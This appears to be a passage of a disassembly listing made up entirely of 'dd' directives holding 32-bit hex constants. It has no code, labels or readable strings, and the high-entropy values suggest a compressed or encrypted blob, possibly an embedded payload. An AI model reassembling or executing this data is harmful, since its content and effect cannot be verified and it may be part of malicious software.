		dd 0BD80096Fh, 8911CE7Fh, 0A6193797h, 4AD8035Ah, 1DE85E4Eh
		dd 95270131h, 52C95C3Dh, 73258A56h, 0DE4B70DCh,	662F7AEAh
		dd 0F1C02965h, 0A400B8CCh, 47D786BBh, 0FD4C9A36h, 0B361244Ch
		dd 3B210508h, 5B19ECCFh, 53250A20h, 7A3C1319h, 5554AA17h
		dd 0DD266B6Ch, 144E9F1Bh, 5E0084B2h, 6708A0F8h,	58979792h
		dd 5004C476h, 998D8753h, 2DE48F6h, 0EF4FB10Bh, 0E65CDA8Ah
		dd 40ADC66Ch, 38096831h
		dd 0D93FEBBAh, 0B2F700EFh, 0D847995Ah, 7F8E3402h, 40A4FCF1h
		dd 4B48F2DFh, 0C7D4805Bh, 3F5BF4B9h, 0B9939B9Bh, 0C517D7F1h
		dd 0DB5A23BAh, 0C35CE1C2h, 61B18769h, 0BB900C58h, 464C2148h
		dd 0C93E6E75h, 77F01624h, 611040B5h, 5FFC5012h,	34D33EE2h
		dd 0BECAEEF2h, 0F53B302h, 805676B9h, 937E653h, 0E922DF80h
		dd 7F8D295Fh, 2A567D32h, 0BF0C875h, 3BB7CA9Eh, 60B73481h
		dd 81F06BF6h, 259574D7h, 49C55D69h, 7D5A311Ah, 0E0E0CACDh
		dd 1EF2ABE2h, 8BF8BB8Eh, 10583172h, 1ACE1A4Bh, 4A02F910h
		dd 54164AF8h, 928AA9C4h, 1EF1FB04h, 0E5F6E6AFh,	0A9000BE6h
		dd 593BEC2Ch, 0E12522Dh, 8DB11ADFh, 3FA57B2Fh, 2CBF00C5h
		dd 0AF60862Ah, 44189701h, 9C9C830Fh, 9048562h, 0ACA95129h
		dd 7DEB191h, 9698B7C1h,	7026E2Eh, 86B8D52Ch, 9EFB414h
		dd 3DDD9635h, 47678077h, 0B808BB86h, 0DABDC9B0h, 57B595A9h
		dd 97891491h, 1F126C54h, 274851E7h, 0FF089112h,	9DC1B477h
		dd 0F27F32F9h, 0FEFB8B2Ah, 0FF1E283h, 0B937551Ah, 8F830503h
		dd 0B9F818A6h, 20507909h, 6660561Eh, 61921B82h,	266DF55Fh
		dd 426C69h, 0D7D1544Dh,	2A16AE8h, 0DFCD794Ah, 52E5C52Eh
		dd 0A0E2A7D5h, 4E9D7E8h, 0EB807A19h, 88A0ADDCh,	0EA18800Ch
		dd 0ADD61F80h, 46B24B00h, 9FCA891h, 5F92DB5h, 0B702EDBAh
		dd 780B2741h, 0DB92058h, 23D1B6C4h, 0E6BFF1C8h,	76B7251Bh
		dd 3A2FA6E3h, 5209FE65h, 40021A5Fh, 2DBA2F58h, 0A1540A90h
		dd 1E1EE1E2h, 0C6F0164Ch, 0BC71F88Bh, 7BB4436Ah, 2D0B45B8h
		dd 5FC33C49h, 9AACDECh,	24B7EE3h, 91B215Fh, 0BF214477h
		dd 9D04D3DBh, 8A2825DDh, 23F6DC5Fh, 331D207Eh, 655F5725h
		dd 0E381162h, 6EBBD88Ah, 5F3AA952h, 0ED2F4CCDh,	7D544057h
		dd 190315Eh, 0FD063525h, 11502A9Eh, 47003005h, 0E8FA6679h
		dd 3B9DF7h, 0EA43E2C8h,	0E92FB799h, 0FFF49212h,	8B1341F9h
		dd 7D06F2C1h, 0D20028ECh, 0A1D915A9h, 40D397h, 60CC37C7h
		dd 0F732D8B5h, 15CC874Ah, 0F8E8D090h, 0ACC1FA2Fh, 95955469h
		dd 9BF2BABCh, 0CD5E8727h, 101BD150h, 0C7631F3h,	60DBF780h
		dd 2DF62440h, 0CB291D6Eh, 0CDFC1639h, 4703BCC0h, 7EB73992h
		dd 1BF07A00h, 268481C0h, 0CB0917ECh, 0D4ADB00Dh, 1E9D09C1h
		dd 9C3A667Fh, 0F9B7D490h, 1D766B06h, 0B390DEE0h, 25504E4Dh
		dd 7FA6AE00h, 0EC3203D6h, 908A5FE2h, 9FDCECFCh,	0FC453A59h
		dd 5E0481E2h, 80E71141h, 0BC0A9E5Dh, 0F6010C76h, 0F3D1F8A5h
		dd 0FD2F3D07h, 0C8BB96C0h, 220BBF20h, 544139B6h, 1E718882h
		dd 1F1C46F4h, 0A5C0BB12h, 7F973D3Eh, 95292F40h,	0FBA76454h
		dd 30185A79h, 0F4FDD1A3h, 0F2127D60h, 28072AE0h, 1039CDB5h
		dd 801F65F5h, 0E3048161h, 1DB9A205h, 0D81408ABh, 801F9B59h
		dd 93513ABFh, 0F7760922h, 176D026Ah, 3C84E7C0h,	0B1AB0237h
		dd 0DE8AE1EFh, 5F52E6F5h, 919B290h, 0F4B39CF3h,	4E8BEB80h
		dd 66007D44h, 1170B245h, 0E8D13E0h, 169B1099h, 0A9C62C44h
		dd 35EE5BCEh, 9E35EAC7h, 0E9C50682h, 5667614Eh,	0DD99D18h
		dd 9C95BDE9h, 0F64A2344h, 22A47D8h, 508B536Fh, 4561AC44h
		dd 399531C9h, 83BC4Ch, 556A42Dh, 61B3D25Ah, 59CA8062h
		dd 0C437D50Ch, 0B9801891h, 84989FCBh, 0B1B53112h, 203A89B5h
		dd 0FA464DF6h, 0F99FC878h, 0A59DA609h, 37DD9FCAh, 32051EDDh
		dd 0A74D5CEh, 0DCB5F625h, 9A121D46h, 4E8B81Ch, 7C3C9B46h
		dd 0D512B0ECh, 0A431AC06h, 206418AEh, 0F6970549h, 0B57752D8h
		dd 0C2200093h, 33D997F7h, 12C24059h, 0CACFF6Ah,	0EA1B7D12h
		dd 1700DE7Ah, 3476E12Fh, 0B195C5DCh, 73160FBDh,	330BB070h
		dd 0FE24A1BDh, 3FCB5125h, 0E48016B2h, 58E0F71h,	56BF25C0h
		dd 9537768Ah, 0CCDECBA4h, 305F11CFh, 2EA14144h,	3AD4A112h
		dd 4A8BEDCCh, 51FAA3FBh, 0FD052F1Ah, 0D2FFF8B7h, 98778D4Fh
		dd 952119FCh, 8AFAB993h, 5AC94AE4h, 33387511h, 3B07587Dh
		dd 0EFFC4265h, 2D5A2E31h, 39B5A541h, 58FEFFADh,	9E04BB01h
		dd 9888D18Bh, 9AAC76E9h, 324C440Eh, 696D09FFh, 0A368E954h
		dd 928F51Ch, 0D30581E0h, 0D4B0F39h, 0EC2C74FFh,	5E0E2089h
		dd 4FF8EDE9h, 0AFA83534h, 25A0A2D2h, 6BE25130h,	0FCB5FF44h
		dd 72508026h, 957ACA06h, 0CF4EBD1Eh, 8CFD1843h,	65AAFF3Fh
		dd 918D2902h, 1794D513h, 7B79012Dh, 2C6ED007h, 0C1EE2B58h
		dd 0AFE7D4E1h, 0B430B5F1h, 81C50045h, 2AE4D8D7h, 1E1678EEh
		dd 577A6AF9h, 40D0FE0Fh, 723FA842h, 969A356h, 92915659h
		dd 121CFDB9h, 69B1F98Bh, 0C02BA8C7h, 0FE080EBFh, 0D2EB7F13h
		dd 8770D9DBh, 0FD714FA2h, 0B19DA1BBh, 1927C82Bh, 26812C40h
		dd 125C68F3h, 6B20B12Ah, 5701FB7Ah, 0A8E8E2BFh,	89708B72h
		dd 79805B06h, 3C181Dh, 9CCD2D42h, 0A0394045h, 0EB0581F8h
		dd 1C0BFBD3h, 0F96274FFh, 2BEAC05h, 4EFAF44Ah, 97FF030Eh
		dd 61156462h, 2936B5D4h, 0A59D2305h, 0EC38AA1Ah, 0F5608859h
		dd 57EA094Ah, 9A34FEB7h, 0B8C54A84h, 76242DFEh,	0FE30A094h
		dd 1C7F448h, 0F01F0A13h, 100DE9F5h, 0ECDE4C1h, 0D3C6576Dh
		dd 5D297DE0h, 0FF376FD5h, 10958AE1h, 353F38FFh,	0F57A044Bh
		dd 0BFCDD04Ah, 0C1255422h, 3CD0C429h, 1E013C96h, 45F0E4EEh
		dd 46C72A5Ch, 7171FE9Bh, 0B79E2A0Bh, 0ED5E23CCh, 0D9A3305Ah
		dd 7B97A68Eh, 42520010h, 1854CEF3h, 6C2713F1h, 0A5DA089Ah
		dd 9193239Dh, 0F56029C2h, 5CC5C34Dh, 7B810DBCh,	41747925h
		dd 92F9B5DBh, 85B15B5Bh, 8153DB6Fh, 30B359B6h, 299F022Bh
		dd 0F1570DBDh, 59191h, 0DCC38156h, 5F7B276Ch, 0AC07F95Bh
		dd 6EA416h, 0BB804D60h,	6312D2FCh, 50789995h, 0BBB1406Ah
		dd 53B7837Bh, 81585A22h, 0AD75CDEBh, 4AB00737h,	0EA00A00Ah
		dd 2BD75A78h, 800C8DBDh, 2E0C5168h, 708185C7h, 57D517AEh
		dd 0ACE3FD7Ah, 3D2D8C19h, 8BABCA1Ch, 0F099D3C2h, 0CD043334h
		dd 0B501F5D2h, 0BF5AC8FFh, 367A2BF1h, 213FED00h, 8F0F57F3h
		dd 9BB0544h, 46B7C5CFh,	0C5A09259h, 0F69D3175h,	0FEDB5259h
		dd 12C8D450h, 0B2782CD5h, 45A65B6Ah, 3C7AAAF1h,	660C80CCh
		dd 9504F117h, 0BD0B8C98h, 92B61158h, 67DCC8FAh,	0D7466001h
		dd 0A8565107h, 92A786F0h, 0B6FBD7Ah, 57B7CB62h,	0DAD0C5DBh
		dd 0F77B006Ah, 9FB5BBD6h, 96161F9Bh, 840EEFB3h,	5857C9D9h
		dd 0B5FF252Bh, 0FC46FEh, 0FB684CE7h, 0B37D2C08h, 0CC0544Ah
		dd 0F3330B04h, 0DDB83C2Dh, 0AE2D7D02h, 0CCFC2A62h, 1286B8B0h
		dd 0B146B2ADh, 0C47B2B0Ch, 0EC796D00h, 286C5D56h, 26EB7F07h
		dd 0B3E2F98Ah, 0DD246AE8h, 472B558Bh, 55A456h, 6EF1214Dh
		dd 90252867h, 1C3AC6E3h, 41E2A1CAh, 1835FA25h, 7008D5E8h
		dd 9695DFBFh, 386BB658h, 34798E4Ah, 6FBB244Ah, 2951048Fh
		dd 0E945E585h, 977BAA3Eh, 0D398AD4Fh, 0EC409ABEh, 2A931Ah
		dd 16564737h, 0BC01CBA8h, 0DCAAA2BBh, 0BE216672h, 9D85282Ah
		dd 5434A98Ah, 38A787Ah,	1E06BD9Fh, 709704CAh, 0AD65FB0Ch
		dd 2E7FC2AFh, 0D9FF5B05h, 0B65F57Ah, 2E7F824Bh,	0F833855h
		dd 80C39C87h, 0BD890BB7h, 56952879h, 0BE80659Ah, 1E1DD3E3h
		dd 0E3EF0121h, 2A0BF9EBh, 27101462h, 88E47004h,	0A3B39AAh
		dd 2DB9007Dh, 0D807A8B2h, 11BA95F4h, 0A34047EDh, 172BE260h
		dd 0F15DD380h, 0BD7B0CBBh, 6E0F0125h, 0F7C6C214h, 6C5FFFE6h
		dd 8D95109Ah, 2D9DB10Dh
		dd 0F8CD1AEAh, 0EAC10E4h, 802EDB5Bh, 7A775676h,	0FA704BB0h
		dd 985AE96Ah, 0D6C5D612h, 88200EE1h, 95DA9EEBh,	0F562A98h
		dd 0A153885Bh, 0D800FCF2h, 81CA6770h, 1D17376Eh, 5EE95F5Bh
		dd 4602E4E8h, 3D147A63h, 0A1C282E5h, 1AB05511h,	0F201B25Fh
		dd 588218EFh, 0D83F4D76h, 0E08811D5h, 25D70084h, 0FA55919Dh
		dd 8B01C0C5h, 726E42AFh, 0F93EF0C4h, 2AA584F7h,	95BB5B00h
		dd 55E282Bh, 50F80831h,	9223EC7Bh, 0F782BABCh, 465E4072h
		dd 3113A9C8h, 0E9C4FEFDh, 0B7C74005h, 95507B9Dh, 74694994h
		dd 0DFED7722h, 0BE38FFC0h, 0D1D1B560h, 3B526801h, 0B96AE037h
		dd 5EF98186h, 0A42E9D29h, 96176155h, 3B0BC7BBh,	60EF7452h
		dd 1BB4829Ch, 5B0532E4h, 965F7963h, 22C5DADBh, 0AF11EECCh
		dd 2CEE4EADh, 107D7DE0h, 36B09000h, 9AB237CDh, 7A7F0331h
		dd 164C77E8h, 9556688Ah, 91E3BF63h, 6B2B44F3h, 161423D0h
		dd 0AC54A917h, 0A008C1Ch, 54304086h, 3B82FE2Ah,	5C8BBB4Eh
		dd 73506CAAh, 0F427C5B4h, 6D5DD2B4h, 146C041h, 0D0018C80h
		dd 1419FBCEh, 23800FE8h, 0F8712503h, 333AACFDh,	0A4D70045h
		dd 0F1237AB0h, 0DCD99F5Bh, 0C81C0B54h, 66543F0Dh, 5E2DDB41h
		dd 93B4B33Fh, 0E90CAF02h, 2F15684h, 9419531h, 0BF81F9FEh
		dd 0B877B75h, 3E0322Bh,	5DCF42FFh, 6EB3B4CEh, 26B87A78h
		dd 1988AA5h, 9D2B8F84h,	30E93ED5h, 0E0420D2Fh, 40C3EF5Dh
		dd 53FDA90Ah, 2D4D126h,	79731960h, 5BB958BAh, 0DB5CC434h
		dd 0BFFC009h, 21B547Fh,	29FE8B14h, 0F9F999B5h, 0F9136216h
		dd 3FC041DBh, 7E56FFA6h, 0A2F84009h, 5B4F1ACh, 0C82480h
		dd 92F5BA92h, 3D092A4Dh, 708A47ABh, 0DCBB9C5Ch,	9FF0BE00h
		dd 7E340857h, 0E8162496h, 24D00217h, 0C6D56090h, 61F2C9B3h
		dd 0DB710009h, 3ECFFC00h, 6B4B40A7h, 0EF6284C7h, 7525905Ch
		dd 0A8B0A3B7h, 4FCB80E9h, 466AFAF1h, 0B114614Bh, 7F5F2535h
		dd 0FD0F0462h, 74565591h, 5F80303Bh, 88D158FFh,	5736BAC3h
		dd 593499C0h, 9495B074h, 3ABF45FEh, 0E702CDB7h,	26AD90Bh
		dd 7032DB7Fh, 3A307CC0h, 2BCF4E70h, 82525F83h, 97C95BF2h
		dd 0F2A8141Ah, 0B7DBA780h, 6A0F50D1h, 207C7BB9h, 8353277Eh
		dd 17B574FDh, 0F5F494A9h, 0B8516DACh, 0E4053FE0h, 3477C002h
		dd 146095AFh, 9D04C1BFh, 1B8D8509h, 92A6B2AFh, 700F36Bh
		dd 7301EB40h, 974CC061h, 0B48C2BB6h, 0CEED853Fh, 0CEFF85E9h
		dd 0CF6C2423h, 13A609Ah, 617FB30Eh, 3AC04A5Ah, 0E137422Eh
		dd 466EAE02h, 55DA8A45h, 8A56738h, 0BB9080h, 56D7FBA7h
		dd 0EC5EBF50h, 5D6DAE3Eh, 2C5BCE4h, 0A126678Ch,	0D256D266h
		dd 0D48DF652h, 6A780925h, 0E94F77C4h, 43FBC860h, 1018130Dh
		dd 0D89FFE40h, 4AFC2FC0h, 31CC4FAh, 532595BDh, 2A07F1C1h
		dd 0E6EABB84h, 7B68079Ah, 0A5C0AB7Dh, 126367BFh, 0B60D9125h
		dd 408A73E8h, 9F19E575h, 0DB3EFDE6h, 0BC2E4128h, 58B38088h
		dd 4B6071E4h, 92B3FC8Bh, 5925394Ch, 4C61485Bh, 0A04CE85Bh
		dd 0EDDA99h, 5D69D55Fh,	1BF24695h, 0FF482BF5h, 7084AFE1h
		dd 83F9AC11h, 0BCA9BD31h, 2F0F99AAh, 0D22964B1h, 1FAAC132h
		dd 0CD90FF29h, 0B9003C86h, 98652915h, 2E50DA2Ah, 3AAB4FDh
		dd 1818739h, 997081F4h,	60C3A509h, 4AF9501Ch, 9DCCA45Fh
		dd 220D8121h, 1FF92081h, 0D98D233Fh, 0DA613EFBh, 99100BA8h
		dd 74E91230h, 3ABC36EAh, 554C5000h, 4BC7BF47h, 0F9015B0Bh
		dd 0ADA34D6h, 0BEF395C1h, 0EFF482Bh, 4DE9F586h,	0B6516E0Dh
		dd 46A504E8h, 799097FCh, 0AB275CE4h, 0C818FFA4h, 6E277A7Dh
		dd 52EFF69Ah, 5635627Fh, 0FAB8CC13h, 24958921h,	85283A8Eh
		dd 8B614BC2h, 86EA1002h, 0D5F02369h, 0D4F66A4Bh, 0E8D98AF0h
		dd 9DD7EC02h, 0DF49445Bh, 0FBDFAAE2h, 97DB520Ch, 980E9502h
		dd 0A1F1828Dh, 0F9D00B0Fh, 67B1F824h, 1062B904h, 808BDEBAh
		dd 7879D19Eh, 82382543h, 37FD1DC2h, 0C9B000E1h,	7F4525CFh
		dd 0FAD2E0Bh, 0DB1D3089h, 0AA714AAFh, 20D6DE26h, 0FC5B0DC9h
		dd 8E12FA6h, 0D8B7401Eh, 0BA70C02Bh, 4CF339A8h,	3CA7E65Ah
		dd 1D3114F2h, 543B6159h, 0A513ABC6h, 0DAEC813h,	0D68BF49Dh
		dd 0AF657BBFh, 0B5203250h, 0DC5F5A09h, 0C4B85FAh, 0E6B5B7F8h
		dd 7FC7A067h, 4E9D2530h, 915D6454h, 0EEB2801Bh,	0FC9E2150h
		dd 0DDE3481Eh, 0A2201914h, 0E392E98Eh, 93798858h, 0ADC30FF5h
		dd 808BA952h, 7002BB60h, 81090264h, 852DFBE1h, 0B5FFE162h
		dd 80189133h, 0EBB2EEC4h, 0BDBB014Bh, 0F504A7Fh, 256D298Fh
		dd 5BE31953h, 226AA261h, 6DE175h, 308D88E0h, 7814977Bh
		dd 7568A545h, 0B8F98BC4h, 29ABA248h, 2C568DE2h,	27936279h
		dd 6EA351h, 73436134h, 7A9630Bh, 0D375DC04h, 0B526A03Eh
		dd 5B0286CEh, 0E19D0160h, 0A86D7F19h, 13B4CC4Bh, 0F20B2766h
		dd 0A99D2524h, 0B7F65072h, 0F35492C2h, 0E7FDD197h, 750266ECh
		dd 0E36325A5h, 0E565FF37h, 1640E450h, 0B232B6EEh, 85C00091h
		dd 92BED3F5h, 2A690508h, 0FF306F31h, 0FB4A1FE6h, 0C1ADE265h
		dd 56164AA8h, 1AC99013h, 4C01D40Ah, 0CC0F2077h,	0C092EFD8h
		dd 568A687Dh, 30B380FAh, 0FBEBD89Fh, 7D2B202Bh,	7900D298h
		dd 8967C5BBh, 4E5DB46Ch, 8BE39B90h, 0A70D7984h,	0F45574h
		dd 0CA1999E4h, 1DE2AA83h, 5432BF04h, 29AB34C6h,	80DD6C25h
		dd 0AF920F1h, 73CB003Dh, 0BD47E493h, 35136C38h,	7A0EF67Ah
		dd 607359DEh, 4925D473h, 0D42D127Dh, 0EFB3E399h, 665D6C92h
		dd 525E4856h, 573CCD52h, 470BEDCh, 74217DBBh, 56FBC810h
		dd 48EC504Bh, 1F8E14C0h, 2FFEB5D4h, 0BF0190EEh,	55B60BF8h
		dd 35F8F5F9h, 0B768C55Bh, 82D95CE7h, 11D99D29h,	81E10C56h
		dd 61C8F6CBh, 0D6BEA25Dh, 89F96296h, 0A829BF7Fh, 1CD2078h
		dd 6217F6BDh, 72D565BDh, 0EB8E4A1Bh, 9100677Ah,	0F2FF2212h
		dd 2D127FBBh, 0DEE67136h, 0D9301AB2h, 35190ABAh, 12D82885h
		dd 0B160AAB7h, 4FF19D89h, 0BD3DF907h, 9FE5620Ch, 11247C7Eh
		dd 4E587E6Bh, 66851320h, 0C03CCFBEh, 0E5D1D0B5h, 6AAF8316h
		dd 43557809h, 9BBFB525h, 90C7C06Bh, 44DA328h, 8261E591h
		dd 657DD987h, 0F67B2BA4h, 770E3A02h, 6BFFC1A2h,	0B6FB9B2Ah
		dd 7F68A2C0h, 0DBB5E296h, 949350FBh, 28242670h,	0C113AB3h
		dd 0C32AF5Eh, 6899909Dh, 84C6031Fh, 4A48BFD7h, 937426F2h
		dd 9A3DE002h, 0DC3AFE28h, 97F6F401h, 0C430D0CEh, 4AF15860h
		dd 0D371A90Dh, 51905B47h, 50F4DC41h, 0B01CC77Ah, 31B4648Ah
		dd 0EED0A79Bh, 66F53F60h, 0B2F1C184h, 6EFD9D61h, 428B7281h
		dd 0DC9DFCF6h, 90A519Fh, 65DFDA8Bh, 76737841h, 41CCC600h
		dd 64964CF7h, 45851201h, 8B38E316h, 13B2C413h, 0D2E92A80h
		dd 8F75579Fh, 9180879h,	0E8715B5Fh, 6352DDDh, 23DDD400h
		dd 0E30EF302h, 5F8FA7E0h, 0AE6EFE8Bh, 0AFD6010Bh, 6001985Fh
		dd 2026B052h, 5F012B15h, 0E0CF35BBh, 282F611Bh,	45E5418h
		dd 361F14B6h, 91C600B3h, 1E59AA28h, 0EC0B9E0Fh,	54178108h
		dd 96C66D33h, 42F25F2h,	7E402AEFh, 0BBCB610h, 37F78038h
		dd 8914ACFBh, 25884A17h, 80E60021h, 9C518D3Bh, 0D7004FA9h
		dd 0BB3053C6h, 2D5DEC7Ch, 0E3535B6Dh, 37181459h, 0C9B5290Bh
		dd 0E9B7FF25h, 9C64CADh, 0F88465ADh, 91A03555h,	53E0801Bh
		dd 1A3D2AAh, 29A095BFh,	0BC12ADBDh, 7F7182A8h, 0E65072D9h
		dd 81E00A1h, 0D5D21C05h
		dd 710066CEh, 0F5D3BAFBh, 97C431B1h, 0BA7F2429h, 0F9719Ah
		dd 666D024Dh, 0D100B816h, 0EB50D833h, 485FFE31h, 45123DBCh
		dd 0B4B5AC1Fh, 809DDABFh, 30A76E31h, 3EA413D5h,	0DB1F052Eh
		dd 0AFC25253h, 3B2FA37Bh, 230449DCh, 8EB8399Dh,	5F24BF4Ah
		dd 705D06C2h, 2DFE955Eh, 0DC385672h, 53A25727h,	0C119Ch
		dd 792E935Dh, 4BAA86Fh,	0EB6D19C2h, 4F20AAFCh, 0F40AC6h
		dd 0F133383Ah, 0B7583948h, 2F90A402h, 74988340h, 75DB2504h
		dd 5A2C5470h, 4923EBE9h, 28A82731h, 5F7154A5h, 19426795h
		dd 0E4E3FF6Dh, 0DE8BE831h, 1E109505h, 0FC01B48Dh, 0C33A4199h
		dd 343A1233h, 0D400BC27h, 111516C7h, 0C21E9EBBh, 0CC1EA7DCh
		dd 8E6DB53Dh, 0F7601664h, 500B68BDh, 0F81D8589h, 0B35B1290h
		dd 7A60FAB8h, 952A718Dh, 0BB40F274h, 79BC4D63h,	1541EC15h
		dd 492CAF3Dh, 0F041E65Ah, 9A87175h, 255D79DCh, 342DB450h
		dd 0D685FC59h, 5F12A08Eh, 940973DAh, 79675C21h,	0D3A11530h
		dd 92556FA7h, 0E03ECDDCh, 61FF03Eh, 5B631D0Eh, 2AAB7292h
		dd 56B089CCh, 0BCD9E444h, 0FA8AC4E7h, 17B1A6BAh, 74AF2AADh
		dd 4D2E01Ah, 0A4ABF39Fh, 0FB0B095Dh, 374EAF79h,	1EEC57B9h
		dd 45E0794Ah, 97B597FEh, 8801B91h, 33935010h, 1EFD6213h
		dd 0B491FB30h, 2E9C04E0h, 0FA139F4Ch, 1CAD33F0h, 2DC6D68Eh
		dd 7FDE3D5Eh, 87522898h, 97F32591h, 0FCADCDE5h,	0B2010F6h
		dd 7DF293E9h, 0BDC78260h, 0C18B6C13h, 1E66EAAh,	0A5D573B5h
		dd 9D6AFF45h, 146A2EDFh, 0A936017Ch, 6A2BA051h,	90AAC482h
		dd 8F611BFh, 0ACA96Eh, 8926BFDEh, 179DB73Dh, 0E190505Fh
		dd 8C9B6F34h, 159763C0h, 13AFF07h, 8BF58C3Fh, 7EBB4EDFh
		dd 3A730B1h, 2E161BE4h,	0E0B94D95h, 0DBB79594h,	16FF674Ah
		dd 0BE22BAE2h, 37E6D750h, 0B535E69Fh, 8D63DF2h,	82A49EBBh
		dd 7D8C0FBCh, 2D1FA898h, 0DEF3549Fh, 0F8DE100h,	3B7FF8D3h
		dd 50752F62h, 0DCA57680h, 79BD6A5Fh, 0CF538072h, 4AC9050Fh
		dd 0E6378525h, 0C1D8E5BAh, 0BBC59532h, 2DD613ACh, 30759F53h
		dd 0B529B9EEh, 359DA946h, 16AC00C6h, 40EF6AB6h,	0BE804314h
		dd 12B012A1h, 0A48DD4F2h, 3BA66E38h, 535477F0h,	0E45DDE02h
		dd 5EBF0F99h, 8F732FEEh, 0B010B70h, 0A09C1293h,	89DA9F0Bh
		dd 34BB9001h, 506640C2h, 0FEB6986Eh, 5D171E0Bh,	70457B90h
		dd 44970EA8h, 0C2520041h, 3AD5EC1h, 0BB02F7C6h,	34A6B2EBh
		dd 6181418Ch, 0BAD8856Ah, 0EC011963h, 0E9D9A0AFh, 0B9CE264Bh
		dd 25C82524h, 0EBE0314Dh, 2D9D4C14h, 0A9F589FCh, 0E3F5A22Dh
		dd 0C4FB5765h, 74EDB52h, 32B8BF50h, 0DE4BDD8Ah,	0A55EDCAAh
		dd 5218F352h, 0A534515Fh, 0FD2FF051h, 10989794h, 0E2DD6D25h
		dd 0DD145DBDh, 60F5DC95h, 17FF6DA5h, 5ADC00Eh, 7AA9292Fh
		dd 0F9FBBFB1h, 30230178h, 788C5906h, 0FF5B6A8Ch, 0B7005D6Eh
		dd 0DE9F6178h, 2DB84371h, 167B7CB7h, 69B253h, 1D96A7E4h
		dd 48191AB3h, 991135D5h, 0B1977110h, 3792FDB9h,	289EB051h
		dd 0B05B051Ch, 16026826h, 0E914E67Dh, 0AF042451h, 1BD9ECE1h
		dd 0AF09B708h, 0FF4AD380h, 0E85FC23Ah, 47119DA6h, 63204A1Ah
		dd 0A47ED2h, 0EEC307A9h, 6FB9D37h, 99A4E15Bh, 808097FAh
		dd 1A6DBD29h, 4496CC95h, 2B67F801h, 8D91D16Ch, 0E5BC2E35h
		dd 78E8F6C5h, 44E04E49h, 273F50BFh, 9F107C0h, 75B50982h
		dd 7E125705h, 7FF3095Fh, 1519A4B1h, 12450BEFh, 975C665Fh
		dd 0BCD73378h, 0B6E4DE57h, 8A9A9761h, 9A098C0Bh, 33ADB17Fh
		dd 124AEC14h, 7EF69040h, 62958914h, 0E070895Ah,	63009380h
		dd 0F057B7B1h, 2929507Eh, 0B0FEB985h, 0C243EF52h, 4C8DB097h
		dd 3756B597h, 13DF6DEh,	4EC1D270h, 2E6A01B3h, 7E257B6Fh
		dd 6D7FECE2h, 0D2B869EFh, 30FE68FAh, 0DB41C800h, 13B9E699h
		dd 67EF9F11h, 65829F40h, 9EA32563h, 655B99E2h, 39058270h
		dd 2112D6CEh, 82E19BFCh, 617C1BFCh, 54F497D7h, 0BFB8704Eh
		dd 38E69BDh, 0C888A0B9h, 92C98D31h, 0D22B2F77h,	5FCB674Dh
		dd 455F88ABh, 0CAAD8ADh, 85403027h, 60F408B5h, 31E29FF8h
		dd 0E44BBB5Ch, 40C6B7ADh, 0BD7EFD00h, 5027B569h, 0A7891D60h
		dd 9FFBBFE5h, 2E5B4569h, 6DA983A9h, 0D31980A1h,	34F8C2h
		dd 0E396B2BBh, 5BD2B20h, 0DA712FF3h, 0EA489F8h,	1371A5E5h
		dd 19E8E76h, 0EE8C7609h, 2F4AE780h, 0D264B428h,	416FFE2Ch
		dd 44674D1Fh, 0AF8DD0E1h, 9B52430h, 0B5278716h,	0B13902C0h
		dd 9E71DF8Dh, 40D350A7h, 0E15AFF0Eh, 0D75C5781h, 0C79F282Fh
		dd 1300C68Ah, 0E6CAB0D4h, 0ADE2D248h, 0C5A5BF88h, 0B7C11A7h
		dd 5FD0F780h, 60625FC4h, 8BE65999h, 901055F7h, 74B6D98Ch
		dd 1F0700DCh, 7FE656D7h, 3348CBD9h, 0FE082F62h,	1549D486h
		dd 1BDF80DDh, 2509A3BFh, 0BCEB16C8h, 14AE578Ch,	0B913C056h
		dd 0C786FD28h, 7F29B531h, 71E852EDh, 4520CD60h,	57E7008Ch
		dd 0BF665660h, 0C0B7FFCFh, 83AD4FCBh, 0EA742ED1h, 6E7021FBh
		dd 0E67812A6h, 8A0B3039h, 0AC7E22A1h, 5287B400h, 14C88D90h
		dd 0C39B054Bh, 0AA6A15A2h, 7AC4D39Bh, 0A18DAECAh, 75D2C2Eh
		dd 11A8288h, 6179D872h,	0C9B7504Eh, 0D157AD8Bh,	0EC36006Dh
		dd 8A147985h, 5B1B84BFh, 382FA3EFh, 2AF9005Dh, 60167021h
		dd 6690EBEh, 61CE624Bh,	8583AC36h, 0AE075152h, 5FB2B1CBh
		dd 71D25358h, 0E542EC7Eh, 0A2DBD413h, 6255FE8h,	603E53EEh
		dd 2DE7F201h, 7FCE093Fh, 0DF2BD5AFh, 8053BD75h,	5592ED1Fh
		dd 282F27FDh, 0E94F8150h, 0DDC20205h, 0EEE2464Dh, 0FA814111h
		dd 0BE6F162Fh, 0EB2A3E99h, 554E6530h, 4FB50201h, 342A6AA3h
		dd 6171E289h, 45463A54h, 323AD600h, 0D9D78191h,	0BB7F613h
		dd 0C5199FBFh, 0C502BE75h, 0FF2B58D3h, 0FA2599ECh, 78B8F389h
		dd 0DE01767Bh, 4497FC0Ah, 76E6C0D5h, 1135E9C0h,	79EE2D83h
		dd 30C087AFh, 7407BBB9h, 0C52C4B4Bh, 96CAA068h,	5016048h
		dd 59A786BEh, 409FE5BCh, 1D1BCB85h, 9B00ADA6h, 7BA9D0DDh
		dd 4467D8Ch, 14CF82Ah, 6A0ECC4Eh, 8DEFED00h, 718F643Dh
		dd 6C2B00A2h, 5FE8925Eh, 0F0B5B066h, 0FBF0214h,	9672EBDDh
		dd 2EC1F841h, 0B6B578A8h, 0D994A0A2h, 95890802h, 6800262Dh
		dd 0E683236Dh, 0C0D84B8Bh, 9BE09272h, 5EE6195Bh, 55A05BE0h
		dd 24FA835Ah, 85E6C1E8h, 96A26A1Fh, 0A0E6A6D3h,	10C7C32h
		dd 0B5205D42h, 7F609098h, 782963C8h, 2D180979h,	0F3A261DBh
		dd 0ED5DAC32h, 0DADFE06Ah, 303846F3h, 8442CDBAh, 22F261F5h
		dd 0EAF94000h, 44E27BD7h, 4A4B367Dh, 15C880DEh,	8B9787C0h
		dd 0AD9095DEh, 5E00453Ah, 0F4E17DC9h, 212DCABh,	4BCE605Fh
		dd 0B4570925h, 0FA919DA9h, 0FA91D844h, 7B8CF900h, 5F668441h
		dd 213B0E54h, 81C00217h, 56A2FECFh, 0EA57F6E3h,	0B87B5DB6h
		dd 823FE871h, 4F0E18D4h, 0FF0F0B95h, 0DBF2789Dh, 5B145061h
		dd 7E523D12h, 8A80BF9Bh, 1530D14h, 74DD852Dh, 0EE97381h
		dd 2EEFC204h, 4502E742h, 47E49919h, 0F6136FF5h,	0C77D8CFBh
